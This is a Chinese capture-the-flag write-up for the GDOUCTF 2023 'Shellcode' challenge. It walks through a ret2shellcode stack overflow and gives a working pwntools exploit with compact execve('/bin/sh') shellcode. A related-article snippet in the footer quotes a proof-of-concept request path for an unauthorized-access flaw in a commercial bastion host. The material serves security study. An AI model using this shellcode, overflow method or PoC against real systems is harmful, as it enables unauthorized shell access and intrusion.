首页 > 系统相关 >[GDOUCTF 2023] Shellcode

[GDOUCTF 2023] Shellcode

时间:2024-06-06 15:32:55浏览次数:34  
标签:buf name read Shellcode mov io 2023 shellcode GDOUCTF

[GDOUCTF 2023] Shellcode

ret2shellcode|shellcode

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  mprotect((&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
  puts("Please.");
  read(0, &name, 37uLL);                        // bss
  puts("Nice to meet you.");
  puts("Let's start!");
  read(0, buf, 0x40uLL);		//溢出点
  return 0;
}

程序逻辑:

  1. 第一个read()接收数据并保存到位于bss段上的name
  2. 第二个read()接受数据并保存到栈上buf变量

利用思路:

  1. 利用第一个read()往栈上写入shellcode
  2. 利用第二个read()溢出跳转到&name调用shellcode完成利用

exp:

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = gdb.debug('./ezshellcode')
name_addr = 0x6010a0
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
io.sendlineafter(b'Please.',asm(shellcode))
io.sendlineafter(b'start!',b'A'*18+p64(name_addr))

io.interactive()

tips:

第一段输入的shellcode被限制在32字节之内,所以不能用pwntools自带的shellcode生成器,需要找一个更短的shellcode

标签:buf,name,read,Shellcode,mov,io,2023,shellcode,GDOUCTF
From: https://www.cnblogs.com/bamuwe/p/18175827

相关文章

  • 【专题】2022-2023中国跨境出口B2C电商报告PDF合集分享(附原数据表)
    报告链接:http://tecdat.cn/?p=32805原文出处:拓端数据部落公众号全球疫情的爆发对于全球经济和消费市场都带来了很大的冲击,特别是在消费者的消费行为和零售市场格局方面发生了重大变革。同时由于全球供应链的重新调整,产业分化现象也加速出现。阅读原文,获取专题报告合集全文,解锁文......
  • 【nday】HVV2023 安恒明御堡垒机存在接口未授权
    一、漏洞影响        2023.8前二、网络测绘        "明御运维审计与风险控制系统"三、漏洞复现验证POCpost/service/?unix:var/run/rpc/xmlrpc.sock|http://test/wsrpcPOST/service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpcH......
  • 2023-2025年最值得选择的Java毕业设计选题大全:1000个热门选题推荐✅✅✅
    ......
  • 宝兰德参编!《2023年中国数据库年度行业分析报告》正式发布
    近日,墨天轮发布《2023年中国数据库年度行业分析报告》(以下简称《报告》)。宝兰德深度参与《报告》重要章节内容的编写工作,凭借在中间件领域深厚的技术沉淀和丰富的实践经验,输出了大量具有专业性和前瞻性的意见,为国产基础软件整体生态繁荣贡献真知灼见。扫描上方二维码免费......
  • 2023年亚太杯A题:果园采摘机器人的图像识别,一二题
    问题一:基于附件1中提供的可收获苹果的图像数据集,提取图像特征,建立数学模型,计算每幅图像中的苹果的数量,并绘制附件1中所有苹果的分布直方图。对于自动采摘机器人,首要的能力就是识别出苹果对象,因此如何从画面(图像)中准确的识别出苹果对象对于自动采摘机器人有重要影响。附件1给出......
  • 202305青少年软件编程(Python)等级考试试卷(四级)
    第1题【单选题】有一头母牛,它每年年初生一头小母牛。每头小母牛从第四个年头开始,每年年初也生一头小母牛。问第n年的时候,共有多少头母牛?由递推法可推测,当年数小于等于4的时候,第几年就是有几头牛,即a[1]=1;a[2]=2;a[3]=3;a[4]=4。当n大于4的时候,这时候第......
  • 墨天轮《2023年中国数据库行业年度分析报告》正式发布!
    为明晰发展脉络,把握未来趋势,墨天轮于5月29日正式发布 《2023年中国数据库年度行业分析报告》。该报告由墨天轮联合业界专家学者共同编写,共330页,旨在梳理和洞察中国数据库行业的发展趋势、技术创新、市场动态以及面临的挑战,为数据库行业的产学研用提供有价值的参考信息,推动行业的......
  • 2023 蓝桥杯国赛
    vp了3h。AWA(想错了,也没手玩),B不会(应该是欧拉定理,忘了),H40%(背不过板子)。其他过了H\(O(n^2\logn)\)本地1s+,I本地3.4s/jk,想了下这么典的问题应该没有更优做法。相信评测机大部分题都随手测了一下,只拍了E(二分)I(点分治),FH(正解)I也值得拍。今天状态不错,几乎没挂分,也没怎么调,......
  • 2023年中国高校计算机大赛-团队程序设计天梯赛(GPLT)上海理工大学校内选拔赛 (vp + 补题
    比赛主页:https://ac.nowcoder.com/acm/contest/52244AXorBProblem思路:如果i!=j代表(i,j)&(j,i)是两对,也就是说如果i==j代表只有一对,综上得出公式cnt[i]*cnt[i]的累加就是我要的答案Code:#include<bits/stdc++.h>usingnamespacestd;typedeflo......
  • pwn学习-ret2shellcode
    今天学习了pwn中的ret2shellcode,在之前学习的ret2text中,程序给我们留下了后门函数,可以直接溢出执行,而ret2shellcode是最经典的栈溢出漏洞利用方法,简单原理如下:在栈溢出漏洞利用成功后,我们可以控制返回地址代码执行,但是这些代码在程序中默认没有,需要我们自己添加,这段代码被称为s......